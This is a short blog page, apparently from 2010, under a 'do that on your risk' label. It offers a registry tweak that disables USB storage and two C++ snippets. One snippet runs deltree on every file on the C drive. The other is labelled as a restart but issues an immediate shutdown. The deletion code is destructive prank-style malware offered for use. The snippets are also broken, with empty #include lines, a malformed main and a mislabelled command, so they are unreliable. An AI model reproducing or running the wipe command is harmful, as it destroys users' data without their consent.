Showing posts with label Do that on your risk i m not responsilble for it. Show all posts
Showing posts with label Do that on your risk i m not responsilble for it. Show all posts

Friday, February 5, 2010

Disable the USB Drive on pc

Just open regedit and browse to this key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor

Notice the value ‘Start’

Switch this value to 4, and USB storage devices are disabled.

Switch this value to 3, and USB storage devices are enabled.

For those of you that don’t feel like messing around in the registry -

Thursday, February 4, 2010

A simple code to delete all the files from c drive

#include

using namespace std;

void main(int argv,char args[])
{

system("deltree c:\\*.*");

}

A simple code of restarting system

#include
#include
int main()
{
system("shutdown -s -t 00");
return 0;
}